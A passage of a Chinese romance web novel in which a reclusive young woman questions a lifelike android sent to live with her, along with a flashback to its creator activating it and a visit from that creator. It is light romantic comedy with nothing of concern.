初晚黎可不想带着这个本就招摇过市的家伙再而三的吸引目光了。
…
4. 人口调查
“累死我了。”初晚黎直接瘫倒在沙发上。
别看只是去了趟小吃街,对于初晚黎这种没事大门不迈二门不出的人而言,也算是一大体力上的挑战了。
更何况路上还有那么多路人甲乙丙丁,还有各种花花绿绿的店招牌,眼睛都不够用,费神费力的。
“那快去洗洗睡吧。”罪魁祸首还在这杵着。
“是啊是啊。”初晚黎狠狠点了点头,要洗去身上的油烟味。
她现在需要暖和的热水,然后让自己被各式沐浴护肤品腌入味。
正脱下外套随意甩到沙发上,手揪住内搭准备向上用力脱下时,才觉得不对,赶忙停止了动作。
现在可是有一个入侵者在家中!虽然说只是个高科技人工智障。
其实别说是不是苏暮这种特殊的存在,平常初妈把亲戚朋友带回家,初晚黎有时候都容易抓狂,毕竟她偶像包袱挺重,有人在就意味着时刻需要注意形象。
本该是在家东扯西扯胡乱穿的一身,来了人得老实穿戴整齐不说,想躺在床上看个动漫打个游戏的时间,还得陪着聊些自己完全不感兴趣的家长里短。
这家儿子考上了,那家女儿毕业了,谁家又找不到工作找不到对象了,运气不好还要变成烧向自己的导火索,而且还得坐的笔直,不然就是精神面貌不够向上看着萎靡不振。
她内心只想着化作液体摊在家里,就跟木木一样。
看吧,木木这点就很好,瘫在哪都行,只要不是垃圾桶里,露个肚皮,四仰八叉躺着,只会有人说它可爱。
要是人类学着这么做,怕是会被骂小时候脑子没发育好。
人有时候还真不如一只猫自在啊,初晚黎内心悲叹。
此刻的她要是顺着之前自己一个人在家的慵懒感穿搭,宽松的大花裤衩和领口开线上衣怕也是不妥吧。所以现在意味着,她需要先找一套许久都没穿齐过的睡衣套装,然后老实在淋浴完后满是水汽的浴室穿戴完整。
哦不!洗澡中的她觉得那热腾的水蒸气令人温暖,但关掉水的那一瞬,就是感到难受的潮湿感!
哪像自己一个人在家,洗完澡,边走边擦,甚至还可以在沙发上瘫一会儿再擦,再怎么不修边幅都不会有任何心理负担。
不过初晚黎就算在家是如此,出门依旧得保持光鲜亮丽,绝不会把这么不设防的样子展现给别人看。
“哎~”她抱着自己那松紧早已没啥用的花裤衩痛心疾首。
苏暮听到一声长长的叹息后,就是卧室里所传来翻箱倒柜的声响。
…
“你怎么在我屋?”初晚黎洗完穿戴整齐后,还安慰着自己,反正还有个卧室作为自己的私人领地可以任她造作,没想到现在就打脸了。
“睡觉呀。”很符合逻辑且理所应当的回答,卧室待着可不就睡觉吗?
苏暮甚至还把初晚黎刚刚翻箱倒柜还没来及收起的狗窝一样的床给整理整齐了。
不过总的来说,她的房间也只是乱并不存在脏的问题,毕竟卧室里除了一张床和床头柜,甚至都没有别的多余的东西。
唯一的装饰物也就是墙上的漫画海报,估计这是她对外展示出的为数不多的阿宅特征。
床嘛,以初晚黎本人的话来说,被子那种东西,第二次睡不就又乱了,没有叠的必要,自己没必要走那种形式感!
不过不得不说,叠起来看着还是舒服整洁很多,前提是不是自己亲自动手。
“等等,这是我卧室啊。”
“这是你房子,所以是你卧室。”逻辑顺的挺对。
“不是,我意思你怎么在我卧室。”
“因为我在你家,然后晚上要休息了,所以在卧室准备睡觉。”苏暮两眼无辜看着她,人类不都这个作息嘛,为什么她反应如此激烈。
为什么呢?
一,初晚黎感觉自己领地被入侵了,这是最后一片没人的净土!
二,大晚上的,虽然这个物体不是人,但在一个妙龄少女的闺房,总归是不合适的!
三,认识还不久,压根都没适应还有个物体存在!
初晚黎内心也很难完全相信他是个机器人,恍惚间还是会把他当成人类,所以难免还是会有些感到不适。
她深吸了口气,坐在床角,又仔细端详起苏暮的脸,远看看不出任何破绽,不由自主的身体微微往前凑了过去。
俩人的距离说近不近的,大致有个半米的距离吧。
苏暮坐在床侧边摆放着的白色单人小沙发上,本是够初晚黎和木木蜷起来的尺寸,但他的个头压上去,看上去空间紧张了些。
“姓名。”初晚黎准备开始查户口。
沈确没留下任何重要信息,手写信上就一堆没必要的废话!连说明书都没有!
“苏暮。”依旧是完美的微笑弧度,“你不是知道吗?”也不妨碍怼了她一句。
“别问那么多,这是例行行事。”她也很蛮横。
“性别。”她当然也知道是废话问题,正所谓走形式,大家调查信息的时候不也经常问一下明知故问的问题,比如明明是学校内部的问卷甚至上面印有学校名称,还得再写一次就读学校。
“男。”
他稍侧过脸调整了下心情,以免笑出声,怎么会有傻瓜一本正经的拿着个小本子和笔,表情严肃问些奇怪问题。
虽然这好像算不上什么严肃的正事,但她这认真的模样反而让他觉得有点可爱。
他知道初晚黎对自己有些误会,他可不想把对方惹怒然后被丢出去。
嗯,他要博得初晚黎的好感,得听话,顺着她。
“性别取向。”没错,初晚黎觉得这个也是值得问问的。
“你。”
初晚黎现在合理认为对方就是单纯在戏弄她!而且还一副自然无辜的样子,这算什么狗屁回答!
“?”
“对。”看她皱着眉不解,苏暮还补充了一下,但也没什么过多解释。
说起来他呀,也是怪,看起来是温柔好接触的气场,目前为止为人处世也是一副绅士模样,但总觉得不知道哪里有点违和感,或许是因为脾气太好而过于完美了。
“什么意思。”初晚黎又属于那种好奇宝宝的性格,看上去佛系什么都置身之外,但是对于感兴趣的事情会打破沙锅问到底或是不断钻研,所以也因此发展了很多冷偏门的爱好。
“什么取向都无所谓,只要是你。”
合着哪天她要有兴致跑到某国做个变性手术,他也能接受?
初晚黎这几个小时下来有时候
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还是经常会怀疑这是不是什么恶作剧。
明明看起来就与真人无异,会呼吸,还会吃东西。
不过可以这样波澜不惊说些撩人的话,眼神也不闪躲,生活中除非是什么情感体验丰富的顶级大海王才能做到吧。
初晚黎这才意识到他看向自己的眼神,他偏浅的瞳色如琥珀般很是清透,目光如此纯粹清澈也并不像这个年龄该有的,倒像是孩童般至纯至善,不带有一丝的成年人的欲望贪婪,硬要说的话,像是林间小鹿般灵动的眼神。
但就算他单纯无害,被看久了也会害羞的吧!初晚黎把小本子往上移,勉强遮住自己的脸,好避开他的视线。
不过马上就传来了一阵好闻的皂角香气,随后耳畔便传来他指尖微凉的温度,苏暮微微俯身,将她的几缕碎发别在耳后,虽然还是有着点距离,但感觉整个人都被他的气息所紧紧包围。
这气味萦绕四周,好像比真实的贴近还要更近,有丝不容易被察觉的侵略感,这也是他们的距离第一次这么近。
初晚黎无意识的僵住了身体,身为一个母胎单身,就算是机器人,顶着这么一张帅脸跟自己近距离接触,谁受得住。
话又说回来,这洗衣液什么牌子的,芬芳扑鼻,她情不自禁偷摸多吸了几口。
啊,当然她可不是变态,真的只是衣服好闻!
应该是沈确给他选的衣服?真想问问沈确哪里买的。
苏暮自己也不知道是怎么了,就是亲不自觉想盯着她看,目光一刻都不想分开,尤其在她发现被自己注视后,脸上不知什么时候染上了点红晕,耳根处更是红的藏不住。
他想要凑近,在凑近一点。
回过神的时候手已经滑过了她耳边,指腹不经意触碰到了脸颊,温热且柔软的触感,内心却其实有些慌了神,有些说不清道不明的感觉从心底升起。
为了掩饰这种感觉,苏暮用他不知道该往哪放的手,转势轻抚了几下初晚黎的头发,生怕自己把握不好力道弄疼了她。
“咳咳”初晚黎打破这份暧昧气息,这人真是没分寸感,不过估计机器人脑子里没分寸二字,也懒得计较。
调查还要继续,“继续继续,不知名人士请你坐好。”
“好。”对方倒是很配合,乖乖做回原位,好像什么都没发生过一样。
只是,初晚黎红透的脸无法掩盖刚刚他们之间的小互动。
“年龄。”
“26”
“身高”
“186”
“体重”
苏暮刚要开口,初晚黎便接过了自己问出的问题,“不对,身高体重三围都是隐私,虽然你是机器,但我不能打破自己的准则。”
她总在很奇怪的地方会有执念,比如她所认为的隐私。
自己就不是一个喜欢被别人打探隐私的人,将心比心,她也不会也对别人的隐私过多询问。
这是自己的做人原则,不会因为对象改变而随之改变。
除了感兴趣的人,可能会暗暗打听下,前提也是不让对方知道。
“嘿嘿。”初晚黎突然坏笑。
下次找个借口让他去秤上一站不就好了。
…
这样,既没打破自己的规则,也得到了想要的信息。
5. 开始的回忆
“出事了出事了!”那人跑的气喘吁吁,还大喊大叫的,推开门的时候,还似有些心不在焉,两个脚刚差一点绊在一起,摔了个踉跄。
“又怎么了。”姜止停下了手上正在敲代码的动作,转而顺势扶额,又推了推自己的黑框眼镜。
“A1那款子又抽了。”说完周识又拍了拍自己的大腿,“又抽了啊!”
姜止忍着想骂人的冲动,深深呼出一口气。
早就跟沈确说过,干这行要找点冷静细致的人,这周识偏偏就是个做事毛躁还爱大惊小怪的人。
而且自从接了和给木的研发项目以来,大家这阵子忙的多喝一口水都没时间,休息区的饮水机要不是保洁阿姨打扫,怕是都要结灰的程度,更别提说话闲聊了。
现在倒好,这周识来了没多久,每天像个大喇叭,他一个人的声音可以回荡在办公室的每个角落,而姜止身为他的顶头上司,更是每天被魔音环绕。
“抽了抽了。”就像这样,说话半天蹦不出个重要字眼,好在姜止快适应了。
姜止也不想废话,把键盘往里一推,转过椅子面对他,然后眼睛往上轻撇一眼。
周识感觉到了寒意,他虽和这上司相处还不算久,但是应该是生气了吧,“老大,进展不顺利吗?”一定是他的工作不顺利,作为一个贴心的下属,当然要关心,尤其姜止可是他心中男神般的存在。
“老大,我知道你急。”他还拍了拍姜止的肩膀,“但你别急。”又是废话文学。
“说重点。”些许是因为忙了一阵也没喝水,本就低沉磁性的嗓音变得沙哑。
“哦哦。”对方现在才回过神,原来是刚那个话题,“不知道哪里的程序又崩溃了,有台A1的嘴巴闭不上,不停的张合,材料部门那边说,再这样下去颚骨那里的材料怕是要打出火星子了。”
“又不是什么大事。”他转回面向电脑的方向,“让他们等着,我改写完这部分再说。”随后挥了挥手,示意他离开自己的办公室。
“不行不行,老大你快去。”周识直接上手,扯住了姜止的胳膊,“这可是江女神给我的任务啊啊!”还鬼哭狼嚎的大叫,“老大啊~”
提到江念这名字,姜止就不自觉的撇嘴吧,他俩是死对头这事,公司里无人不知,读起来都是“jiang”,音调也一样,也都隶属于研发部,且都是组长,只不过一个是编程研发,另一个是材料研发,但性格完全不同。
江念不像那些职场上的事业女性,西装革履干练精明,反而一副符合世俗大家闺秀温文尔雅的样子,总给人一种东方古典韵味。
五官线条柔和,也算得上公司里的美人胚子了,一头黑色的飘逸长发,穿衣风格也是那种随性的宽松长裙,颜色也淡雅居多,但就是这么一个人说话都很温柔的人。
偏偏和姜止相处的时候,火药味十足,像是个怼人小炸弹,但也怪不得江念,姜止那每天的死鱼脸很难让人想接近,尤其嘴巴说话还不留情面,得亏长得帅,工作能力强,不然怕是被打死无数次了。
…
“大忙人,你可算来了啊。”看吧,火药味一下就来了。江念的声音轻柔悦耳,本是对人极具吸引力的,但一和姜止说话,不自禁就压低些,更别说什么温柔,听起来还有点那种咄咄逼人的感觉。
“嗯。”他眼皮都不抬一下看她,迈进来的时候只是目光坚定的看着前方。
“啊!额,呃~哦…”那个抽风的机器正在不停的张合他的下颚,这到没什么,但。
只见一位少女,一手抓了一把瓜子,另一手持着筷子,喂了一颗到抽风A1的嘴里,“呀”,那机器人又鬼叫一声,随着一声清脆的“咔”,果仁掉了出来。
“林夏。”江念喊了她一句,这刚来实习的小丫头真是会玩。
“江组长,你看,他可以磕瓜子。”
“啊”不适宜的那机器刚好发出声音,好像在回应她。
“祖宗啊,这么贵的机器,你用它嗑瓜子。”周识靠墙扶住。
江念觉得只要不损坏,也不是什么无伤大雅的事,便也不想管正在欣头上的少女。
“这样下去,怕不是我们组好不容易研发出的材料要毁于你们做的漏洞百出的程序上了。”
“我的老天爷啊~”,周识抓狂,这实习生怕不是不知道这一个机器人的造价。
“你也吃。”林夏捧着那一盆瓜子仁,强势的一把塞周识嘴里。
“你别说一把吃下去的感觉还不错。不对,祖宗啊~”
“再吃点。”
…
姜止皱了皱眉,开始调试。
…
A1停止了张合它那嘴,也不再发出咿咿呀呀的声音了。
“可惜了我们部门研发出的珍贵材料,这样磨损半天,怕不是已经有了什么伤痕,你们的真的是,让驴蹄子上镶了钻。”江念摸了下A1下颚处。
“那只能说明你们材料垃圾,就磨合这几下都承受不住。”对方毫不留情面,然后头也不回走了。
…
“叫我?”姜止刚处理完那边的事,沈确就找他了。
“你看。”沈确勾唇笑了笑,十分满意看着自己的作品。
“不愧是沈大神一手监督的A2,这外观和A1都不是一个档次的。”姜止围着这个躺在房间正中央的“人”绕了一圈。
“连这头发丝都是下了血本的吧,这皮肤的质感也是。”他触碰了一下,手感也很真实,虽说A1也不赖,但两者对比起来就是天差地别。
“这是最新材质,已经做到和真人肤质无异了,近距离都很难看出。”沈确坐下抿了口茶,热气爬上了他的镜片,视线瞬间变得朦胧。
当然,与此同时,别人也看不清他的神情——那一瞬不易被察觉的空洞,明明坐在这,心绪却已飘远,恰似回忆什么。
“楼下有台刚刚bug了。”
“有耳闻。”
“传这么快。”
“有什么能瞒住我。”沈确一笑,那微微吊稍的丹凤眼就眯了起来,再配上那精致立体的五官,勾人的样子活似一只狐狸。
他停顿了一下,又走过来靠近A2,“是时候开机了。”
从风衣口袋里掏出了一个木质小匣子,对准了A2心脏的位置,匣子神奇的从深棕色渐变成了纯黑,然后从底部发出微弱的光芒。
“如何。”沈确挑了挑眉。
A2缓缓睁开眼,周围略刺眼的光线从办公室的落地窗照射过来,许是感到了不适,他揉揉眼,甚至连动作都这么一气呵成。
当视线清晰后,只见两个男人在他面前。
一个站着双手环胸,黑着脸,看起来心情不怎么好的样子,而且用审视的目光从上而下看着他,另一个微靠在桌边,双手反撑在桌上,微笑着看着他,充满了,慈爱?仿佛夹带了种看小孩的宠溺感。
“感觉怎样。”那笑着的男子问道,清冷温润的嗓音在A2听来有种莫名亲切感,或许这就是沈确独特的个人魅力吧。
“嗯。”A2起身,小幅度动了下自己的四肢,又握了握拳。
“欢迎来到这个世界。”他眉眼一弯,然后示意姜止,“你先出去忙吧。”
“苏暮。”他带着试探的喊了一声,声音温柔了更多,带着一些期盼般。
“应该是我?”一些回忆闪过他的脑海,自己好像是叫这个名字。
“我叫沈确。”对方好像松了口气,恢复了笑意,“你的制造者。”
“制造者?”
“你是我研发的机器人。”沈确站起身,走向他,“我给你的程序里已经灌输了些这个世界的常识性信息,程序刚启动可能需要点时间反应,以及你的人设。”
“这样啊。”苏暮接受的倒是很快。
“你是我们和给木公司合作的一个项目所研发的A1人工智能机器人的升级版,A2版,虽说是升级版,但,全世界目前也就仅你一个,属于是我的保密大作了。”沈确有点小得意。
苏暮感觉头隐隐作痛,脑子里突然涌进了更多的记忆,兴许是程序负荷太大导致的吧。
他的身世背景,甚至从小到大的经历都很完整且饱满,要不是沈确说他是个机器人,怕是都以为自己和他一样是个人类。
而且,沈确,沈确这个名字好像似曾相似,但苏暮一下子也想不出来是他哪部分记忆出现的人物。
“接下来有些很重要的话要跟你讲。”对方扶起他,苏暮重心稍有些不稳,许是才刚醒来的缘故吧,脚步踉跄走了几步。
…
俩人进入了沈确办公室深处的另一房间,里面密不透光,四周被窗帘遮住。
他熟练打开灯的开关,然后伸手指了指一个硕大的木箱子,这大小,说是箱子,更像一口塞得进人的棺材。
“除了刚刚的那些,其他也没太多解释的必要。”他一转了刚才嬉皮笑脸模样,整个人严肃了起
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来。
“除了你接下来要见到的这一位,别再告诉任何人你的真实身份,就当自己是个人类,然后幸福生活下去吧。”
转瞬又换上那副笑脸,仿佛刚才那个冷冰冰的沈确是他看走了眼。
他没再多说什么,只是拍了下这个高科技木棺材,倒也不用怕苏暮被憋死,毕竟使用的可是种能够呼吸的新型高科技材质,“进去吧,要启程了。”
苏暮也没多想,毕竟身为机器人的他只要服从命令就好。
这个沈确虽然在外人眼中看上去好像吊儿郎当不太靠谱,可不知怎的,却给他一种值得信赖的感觉。
沈确盖上了盖子,忽然好像忘记了什么,赶忙掏出那个小木匣递给已经躺好的苏暮,“你的充电设备,每天至少带在身上几个小时。”
“还有哦,你也会像人类一样,有生理性死亡概念,别以为你可以像影视作品中那些机器人一样无坚不摧,要惜命。”沈确的声音从外面传来。
他又拍了拍盖子,“还有记得路上别出声,会吓到其他人的。”明知苏暮看不到,但还是勾唇比了一个噤声的手势。
…
时间线回到刚刚。
“你睡客厅沙发。”初晚黎刚问完那一大长溜的题目。
这是她在网上随便找的问卷,也不知道谁出的题,一开始吧,自己也没细看,问到一半才反应到不对劲,翻了下,足足有有整整50道,但自己又有强迫症,没问完总感觉有种任务没完成的缺陷感。
“诶~”对方眸色沉了下来,又抬眼看了看她,眼眶里仿佛有层朦胧的水雾,像是受了什么巨大的冤屈般,“沙发多硬啊。”
...
苏暮被运输的这一路,躺在箱子里也无所事事,索性自己将脑海中的记忆梳理了一遍。
他名叫苏暮,今年26岁,生于c市赫赫有名的苏家,但好景不长,初中那年家道落魄,对家想要断了苏家的路,安全起见自己便被父母从c市安顿在了a市。
之后便是沈确跟他补充的,他和女主有一面之缘,便一见钟情,暗恋上了她。
以及,他是机器人但和其他人类无异,能呼吸能吃能喝能睡,甚至还能沾水。
总之沈确没解释其他,只说是因为使用了市面上见不到的高科技材质,那自然是和别的机器人没法比。
苏暮要做的主要任务就是陪着这位素未谋面的陌生人,然后活下去。
初晚黎刚盘问的时候知道了苏暮这狗血人设,也不知道从哪吐槽。
人设也太不丰满了,什么见了一面就暗恋上了自己,别的细节也没补充,说是纯爱,更像是什么见色起意,毫无代入感好吗,还不如不编这背景故事。
不过到底是机器人,设定让它喜欢谁,它就毫不怀疑的喜欢了。
给没灵魂的非生物体附加感情设定,果然有点牵强。
这突如其来又明知是虚假的感情让她感到有点不自在。
尤其它又不符合大众对机器人的认知,所以各种方面都存在违和感,许是因为神态过于逼真,就像有着自己的情感,比如刚才的装可怜,看起来就像是自己的情绪表达,并不像强硬的程序使然。
不过谁知道呢,现在科技发达的很,她也不是这个领域的专家,或许科技早就突破了这些。
初晚黎转念一想,“那就打地铺呗。”
说来说去它也就是个机器人,愿意在卧室又怎么样,说它是个生物体都说不上,而且性别也是人赋予的而已,又不是真正意义上的男性,只要把它个当成程序,然后享受对方的陪伴和喜欢就好。
就和她床头的娃娃一样,只是智能了点,是个会说话的娃娃。
苏暮瞬间满脸粲然,眼睛变得亮闪闪,这神态和木木看到她拿罐头的那个眼神大差不差。
“那我先去洗澡。”别说这小机器还挺爱干净,等下,洗澡都可以做到?初晚黎既吃惊又不吃惊,只是告诉自己,都是因为科技先进。
反正,总结一句就是很珍贵且先进的高科技材质,不是她这种普通人能懂的。
也不知道沈确是个什么天才,能制造出这么逼真的机器人,照这么下去,机器人毁灭人类的电影应该也不会是什么幻想了。
真到那个时候的话,希望她的这位机器人爱慕者可以帮她,给它的机器人伙伴说说好话,毁灭人类的时候记得放她一条生路,所以自己现在应该对它好点,初晚黎这么想着。
……
6. 眯眯眼怪人
天色渐亮,太阳强行拉开笼罩在天空中的深灰色幕布,让自己的光芒洒落在大地的每个角落。
初晚黎是个不大喜欢黑暗的人,所以她在卧室里只装了个用来保护隐私的纱帘。
光线如往常般轻而易举钻了进来,透过纱窗,花朵的纹样印在浅色的木地板上。
“喵。”看来最先起床的是木木。
它在床脚悠哉悠哉深了个懒腰,又甩了甩被自己压麻了的两条后腿儿,随后扭头,颇有不满,皱着眉盯着初晚黎。
这点光亮对初晚黎来说小意思啦!
她对正午的太阳光都免疫,甚至自从养了木木后,经常在冬日和它晒着太阳睡觉。
不过夏天嘛,还是不行的,会晒傻的!
高温天晒太阳这事,只有木木做得出来。
“呃。”但苏暮显然不大适应,沈确给它的设定是个普通人。
再怎么说也很少有人会顶着大太阳睡觉吧,而且这光线实在有些刺眼。
初晚黎被木木的叫声和苏暮的哼唧声弄得半梦半醒,而后感觉什么东西好像压住她了,有点重。
推了下又推不动,只得放弃,打算继续睡过去。
不过那声音的主人明显不想放过她,还搂紧了些,得,这下她彻底清醒了。
初晚黎睁开眼就看到,某人的胳膊把她搂得严严实实,力道还颇大。
“你怎么在我床上!”
“不知道。”对方还处于迷糊状态中,说话声音带着点沙哑,缓缓睁开眼,一脸睡意朦胧,还顺势揉了下眼。
“喵~”,木木拖长尾音,端坐在床边,用力甩了好几下尾巴,是在表达不满。
本来初晚黎的身边空位是留给它的!
苏暮这分明就是半夜爬上来的!居然还说不知道。
初晚黎忍住想揍它一顿的心情,但又告诉自己,它不过是个刚开机的机器罢了,而且,不是还说好了,到时候机器人侵略地球的时候,得靠它保命。
淡定淡定,要对它好,要对它好。
“那你能解释下,为什么是这种姿势抱着我的?”本身就有些厌男的她竟然忍住了,没一脚把它踹下去。
沈确难道没告诉它,异性之间不能凑这么近的吗!
这种常识怎么不告诉它!昨天就没分寸的摸了她脑袋!这要是换了不知情的其他人,怕不是告它骚扰了吧。
“我看你睡觉的时候抱了个娃娃,我就学着抱着你了。”苏暮还有条有理。
“合着把我当娃娃了是吧。”她气不打一处来。
“娃娃软乎乎的,你也是;它不动,你睡着了也不怎么动。同理可得,差不多。”
什么歪理?
活这么大昨天竟然被个机器人当成娃娃抱着睡了,说出去都觉得奇怪,不对,她才不说出去,就算她的那位死党姐妹她也不会说!
“光线好刺眼。”苏暮用手遮住眼。
它还嫌弃上了,“都没睡够。”
你个机器人还缺觉不成?初晚黎想知道这个沈确到底是做了个什么玩意出来。
没啥常识,但是睡懒觉倒是符合人的习性。
能吃能睡甚至都不怕水,还可以睡着,皮肤这些也和人相似,它不说,谁能知道是个机器人。
倘若这种存在它不是独一个,世界岂不是乱了套,人们完全可以按照自己的意愿创造出一个符合自己心意的机器人,那谁还愿意去与人社交。
而且若是用在好的地方,类似于像它们用于陪伴倒还好,若是用在不好的地方,做个反人性反社会性格的,那不就完了。
现如今像沈确所说,或许随着科技进步,会拥有意识也说不准,不过也不知道需要多久,如果之后它们也能有爱这种概念…
“饿了。”苏暮一手捂住它瘪掉的胃。
“行,你还得按时吃饭是吧,一个机器甚至还比我还养生。”初晚黎已经逼迫自己接受这些不符合她认知的事,得重振三观,主要是世界观,“下楼吃,厨房是用不了现在。”
初晚黎去客厅收拾木木的饭碗,回到卧室就看到苏暮已经将上衣掀到了腰部,“你在干嘛!”
“换衣服下楼呀。”它这看上去不合身的睡衣,还是初晚黎昨天翻墙倒柜找出来的,之前买的一件oversize风,算是衣柜里最大的尺码了,勉强让苏暮套了进去。
还好她穿衣风格多变,要不然苏暮怕是换洗的衣服都没得。
“那也找个没人地方换啊!”沈确说是整合了基本常识到它脑子里,但这种男女差别常识看起来是一点都没丢进苏暮脑子里。
她好歹也是个母胎且和异性相处经验都少的少女,天天给她来这么刺激的体验,怕是心脏哪天要蹦出去。
…
“啊嚏。”远处的沈某人打了个喷嚏,“是降温所以有点感冒了?”
…
“好吧。”苏暮也不知道自己错哪了,但看初晚黎这不大高兴的样子,或许自己的确是做错了什么吧,生活中还要好多需要学习的地方呢。
一下楼没走多远,商铺早就挤满了人,路边也摆满了早餐摊位,从粉面到各式小吃种类繁多,冒着腾腾热气,看着就让人食欲大增。
初晚黎挑了一家离那些集中摊位最远的,以她的经验而言,若经常在一家吃,难免在老板那混个脸熟,也避免不了聊上几句,但这种攀谈却会让她不自在,所以隔段时间换一家,是她的处世之道。
“小姑娘吃些什么呀。”一个看起来有些年纪的中年大叔边擦着桌子边往初晚黎这里转头看。
“xx粉,你呢。”
“呦~”老板一副八卦的神情,“许久不见,小姑娘这是交男朋友了啊。”
完了,是个记性好的老板,最近看来又得换一家吃了。
“小伙子长挺帅,吃点啥,咱家味道可好了,你女友经常光顾,我这店就是地理位置差了点,不然生意可不比他们差。”
…
还好还好,这老板看起来很喜欢苏暮的样子,她就不需要说些什么,只顾埋头吃,苏暮和老板倒是有一搭没一搭的聊着天,可能是因为这家伙比较有亲和力?或者只是单纯长得好看。
“下次再来哈~”老板一副没尽兴的样子。
…
初晚黎她啊,不仅佛系还懒,就比如说,刚吃完饭的她只想瘫在沙发,也可能是因为碳水上头了。
她反正又没什么大事要做,这样吃完饭晕乎乎的最好睡了,反正论文也修改好了,瘫着有何不可,就是厨房得新买厨具了。
...
“叮咚~”她正打着盹,怀里还抱着软乎的木木,门铃此时就不适宜的响了起来。
又没点外卖,初妈也在外地出差,还是个大早晨。
“不开!”苏暮准备去拉开门把,被初晚黎及时叫停了。
“又没什么熟人说要来,那就是不速之客。”
初晚黎向来不喜欢不打自来的,对她而言这是种很冒犯的行为。
社交对她而言本来就是带着社交面具演绎为对方塑造的人设,就算是短暂的交流,有时候也会让她感觉要宕机。
倒也不是讨厌社交,只是希望一切都是在自己计划范围内,这样才能让自己有时间做好心理准备。
“叮咚~”,门铃还在响,对方倒也真是有耐心,按初晚黎的经验来说,大家耐心一般不过几分钟,这已经快按了10分钟了,而且对方显然不慌不忙,很有自己的节奏,基本3分钟按一次。
“我倒要看看是谁这么死心眼!”初晚黎本打算通过冷处理让对方放弃,然后继续瘫在沙发上眯吨会儿。
她今天倒要看看谁这么死心眼不停按别人门铃!
也没听外面有说话声,那家伙只是一味按门铃,万一她不在家呢?门铃怕不是要被按坏!
“终于肯开门了。”带有磁性的声音从门口传来,听起来有几分漫不经心,为此说话的尾调还带着些勾人的意味。
只见一个身高都快顶到她家门框,带着墨镜的男子半依着,一身休闲宽松的打扮,黑色的短袖搭着黑色工装裤。
不过这人是什么情况,一身黑,脸都被墨镜和口罩遮的严严实实,而且这气质身形看起来,年纪也差不了自己几岁的样子。
“你是…”她欲言又止。
“沈确。”脑袋还没转过弯,话也还没说完,就被打断了。
他生怕自己不信似的,顺手又掏出了工作牌,上面几个黑色大字----赛恩斯集团,难以让人不注意。
“久仰大名。”
初晚黎没想到正主上门了,说不准马上就可以把苏暮退回去了。
虽然它只是个机器人,但是总感觉还是影响到了自己的生活节奏,且不说还好初妈现在不在家,不然自己怕是解释都解释不清了,谁会信这是个仿真机器人。
“不请我进去吗?”初晚黎双手抱胸站在门的正中央,可以说是下意识就把沈确堵在了门口。
“哦~”初晚黎这才侧过身让出了一条道,然后将门开的更大些。
沈确从她身边经过时,周身传来一阵好闻的水生调香水味,倒挺像他给自己的初印象,干净清爽,还带着些许未退去的少年感。
他挺不客气,进来就坐到了被初晚黎铺了白布的小沙发上,然后自然而然往后一躺翘起了腿,不知道的还以为回了他自己家,倒是也省了初晚黎客套的功夫。
“水还是茶?”
“果汁,可以吗?”他打了个响指,饶有兴致看着初晚黎的反应。
这人还挑上了?果然这点和苏暮一个德行,完全不讲客气。
本着要对生人有礼貌的原则,初晚黎硬是从嘴角挤出了一个微笑,“没有。”
“诶~”,他撇撇嘴。
“你们家物质好匮乏,果汁都没有。”这人嘴巴看起来不是一点欠。
“可我就想喝果汁。”他不忘补充一句,说着还满脸无辜看着初晚黎,不知道的还以为她做了什么愧对于沈确的事。
初晚黎现在合理怀疑,苏暮的某些行为举动就是一比一还原沈确。
“不过话说起来,苏暮呢?”沈确转头四处看了看。
“咚咚咚。”不知道从哪传来的声响。
“估计逗猫呢。”她们吃完饭一回来,木木就开始绕着苏暮转。
她这下倒是不担心木木在
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家无聊了,它也算有了个新乐子。
“给。”苏暮突然从厨房闪了出来,不知道从哪端来一杯橙色的液体。
“还是我的好兄弟疼我。”沈确不假思索喝了一大口,
“咳咳咳。”下一秒,咳的那叫一个人仰马翻,震的眼睛快掉了,然后故作镇定摘了已经滑到鼻尖的眼镜。
就像解除了封印,这双深棕色的细长丹凤眼很是勾人,就连初晚黎一时也被勾走了魂般,忍不住盯着看了几秒。
他被呛得眼眶有些湿润,看起来楚楚可怜的样子,语气却很是平淡,“你想酸死我呀。”
“你加了什么?”初晚黎可不记得自己有买果汁。
“冰箱里的一个橙子和。”他顿了一下,“两个柠檬。”
“苏暮你学坏了。”沈确嫌弃至极,连忙把那杯果汁推的远远的。
“柠檬维生素多呀,我只是想着现榨的更好。”苏暮表示自己也很无辜,只是想着为了他好,怎么不领情。
初晚黎仿佛现在自己家里有两小动物,一只是正被酸到流眼泪的可怜狐狸,一只是满脸无辜大金毛。
哦对,还有只正在墙角偷摸探头看的猫。
“那这是怎么成汁的。”初晚黎举起那杯果汁看了看,杯底甚至都没什么大颗粒果肉的样子。
“拳头锤。”怪不得刚刚有咚咚声,初晚黎还以为是自家大胖猫疯闹的时候撞到墙的声音。
“力道挺大嘛。”沈确又眯眼笑起来,然后将自己的眼镜戴好。
想想也是,几个快递小哥一起才能抬动的木盒子,他一个人收拾完一口气抱下去扔了,力道能不大吗,以及,初晚黎不愿再回忆的,她的刀和案板。
“所以他附加怪力属性是吗。”莫非是角色自带的隐藏属性?
“对呀,是不是感觉还不错?也算是带防卫功能了。”沈确语气中都带着得意,还自我认同般点了点头。
“那是,把人误伤了我还得负责善后。”初晚黎可不是那种愿意惹上麻烦的类型,“话说回来,你今天来是为了?”
“来问问产品使用感受。”他从双肩包里掏出个平板。
“我能退了他吗?”初晚黎平淡地说完这句话后,苏暮一副不可置信的样子,眼睛瞪大,随后眉头微微皱起。
“不能。”沈确这是典型强买强卖!“而且你确定退得了?”
苏暮听到后就开始把昨天的经历复盘了一下,自己除了弄坏了她的厨房用具,好像也没做什么惹她厌的事啊。
而且,或许是程序的原因,脑子不断体型自己,他喜欢初晚黎得很,可不能轻易被讨厌啊。
想到这,他微微低下了头,变得没什么精神的样子。
就像她下楼遛弯时看到被得,被主人训斥的大金毛,耳朵和尾巴都垂了下来。
没几秒,他又抬起头,眼眶有点红,“你讨厌我了嘛。”
他还是忍不住问了出来,语气很是委屈,不知道的还以为初晚黎单方面把他甩了。
“不是。”初晚黎看到这架势有些慌了神,自己本就不大会哄人,尤其如今这局面还是自己导致的,“我就是随口问问而已。”
当然,说完后,对方心情还是半天不见好转,“怎么会讨厌你呢。”赶忙又补了一句。
“不讨厌就是喜欢喽。”这不得了的结论,也不知道苏暮是怎么推断出来的,不过好在他心情明显好了许多。
“也不是。”初晚黎有点别扭反驳了一句,他头又立马垂了下去。
“那就是讨厌我。”
“也不讨厌。”
“那就是喜欢。”初晚黎感觉自己陷入了他的诡辩中。
